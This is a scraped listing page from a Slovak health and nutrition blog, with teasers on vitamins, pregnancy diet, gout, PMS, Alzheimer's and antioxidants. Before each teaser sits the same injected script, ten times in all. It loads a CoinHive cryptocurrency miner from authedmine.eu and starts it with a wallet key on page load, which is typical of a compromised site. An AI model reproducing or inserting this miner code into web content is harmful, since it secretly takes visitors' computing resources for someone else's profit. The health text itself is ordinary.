<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>kombinacie vitaminov

Kombinácie vitamínov

Vitamíny sú pre ľudský organizmus nevyhnutné. Zabezpečujú správne fungovanie rôznych telesných funkcií, posilňujú imunitný systém, majú preventívne účinky proti chorobám. Človek ich získava z potravy, v zime je však strava menej bohatá na čerstvú zeleninu a ovocie, odkiaľ ich telo prijíma najviac. V zimnom období je preto nevyhnutné upraviť si stravovanie, konzumovať potraviny a vhodné nápoje. Jablká sú mimoriadne bohaté na…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>strava v tehotenstve

Výživa v tehotenstve

Ste v očakávaní? Ako sa stravovať v tehotenstve? Rastúce bruško spôsobuje radosť, budúce mamičky však niekedy tápu v tom, čo konzumovať. Udržať si postavu a zároveň dodať telu všetko potrebné pre dve osoby nie je niekedy tak jednoduché ako sa zdá, však? K hlavným zásadám výživy v tehotenstve patrí konzumácia pestrej a rozmanitej stravy, v ktorej by mali byť…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>čo naštartuje náš mozog

Mozog – test pamäť

Test pamäť – mozog pozeraj na obrázky 30.sekúnd potom to zavri a minútu počkaj…napíš na papier koľko si pamätáš !!!! Autor: Slovart A ako vášmu mozgu môžete pomôcť? Pokračujte v testovaní: Pozrite sa na tanečnicu. Ak ju vidíte točiť sa doľava, teda proti smeru hodinových ručičiek, používate viac ľavú mozgovú hemisféru. Pokiaľ sa tanečnica točí doprava,…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>srdce

Test – zdravé pľúca

Otestujte sa Ak na tri alebo viac nasledujúcich otázok odpoviete ÁNO, môže ísť o prvý signál, že trpíte CHOCHP. V takom prípade by ste mali požiadať svojho lekára o podrobné vyšetrenie pľúc. Test je len orientačný a diagnostika patrí vždy do rúk lekára! Fajčíte alebo ste v minulosti fajčili? Zadýchate sa rýchlejšie ako vaši rovesníci?…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>zdrava_vyziva

Žúvajte a chudnite, predchádzajte prekysleniu a chorobám.

Ak budeme jedlo dlhšie žúvať, znížite riziko vzniku obezity aj zakyslenia. Učme to aj malé deti!   Možno taká nepodstatná malichernosť – žuvanie! Pravda je všaj iná a realita krutejšie! Nie nadarmo nám maminy prízvukovali “nehltaj tak”, “nehádž to do seba” ….. vedeli však aj podstatu týchto slov? ůsta slúžia nie len na to, aby…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>dna

Dna – bolestivé ochorenie. Zásady zdravej výživy alebo ako si pomôcť.

Dna – ako s týmto ochorení žiť? Ako schudnúť Dna je veľmi nepríjemné ochorenie – artritída /zápalové ochorenie kĺbov/ Známe je aj pod názvom podagra alebo pakostnica. Spôsobuje bolesť kĺbov, opuchy, začervenanie …. Väčšinou toto ochorenie postihuje mužov vo veku 40-50 rokov, ani dámy však nie sú výnimkou … spôsobuje ho ukladanie kyseliny močovej v…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>kolotoc_hormony

Chudnutie a predmenštruačný syndróm. Hormóny na kolotoči?

Máte hormóny na kolotoči? Je úplne normálne, že hormóny si s nami robia, čo chcú! Priberanie, chute horšie ako počas tehotenstva, migréna, boľavé prsia i kríže …. ide o: Predmenštruačný syndróm (PMS) je porucha, ktorá postihuje značnú časť žien cca 1- 2 týždne pred menštruáciou. Predstavuje komplex  pomerne  nepríjemných príznakov postihujúcich fyzickú ale aj  psychickú…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>nadmerna konzumácia

Čo spôsobuje nadmerná konzumácia ???

Čo spôsobuje nadmerná konzumácia ??? Vedľajšie účinky pri stave tzv. predávkovania Pri bežne odporúčanom príjme by k tomuto dochádzať nemalo. Každá látka, ktorú užívame v nadmerných dávkach, disponuje vedľajšími účinkami. Celá tabuľka slúži len k uvedomeniu si, že tieto problémy existujú, nie je dobré si zahrávať s neprimerane vysokými dávkami jednotlivých suplementov (inak povedané -…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>Alzheimerova_choroba

Zdravá výživa – prevencia a zmiernenie príznakov Alzheimerovej choroby.

Zdravá výživa – prevencia a zmiernenie príznakov Alzheimerovej choroby. Alzheimerova choroba je nevyliečiteľná porucha mozgu,  ktorá poškodzuje nie len mozog ale aj mentálne funkcie. Prejavuje sa celkom nenápadne, a postupne dochádza k zhoršovaniu krátkodobej pamäti a schopnosti rozhodovať. V pokročilom štádiu je to strata reči , pamäti , zmena povahy , správania sa, odmietanie komunikácie, strata funkcie močového mechúra…

Details
<script src="https://authedmine.eu/lib/1.js"></script> <script> var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); </script>antioxidanty

Antioxidanty! Naozaj platí – čím viac, tým lepšie???

ANTIOXIDANTY! Ako ich definovať a ako im rozumieť? Sú pomerne často spomínané a sú protikladmi voľných radikálov, ktoré významne poškodzujú organizmus, tým že poškodzujú bunky vo vnútri tela. Podobá sa to párovému súžitiu Antioxidanty si žijú pekne v páre a voľný radikál sa snaží na jedného z tohto páru “nalepiť” Ak sa mu to podarí,…

Details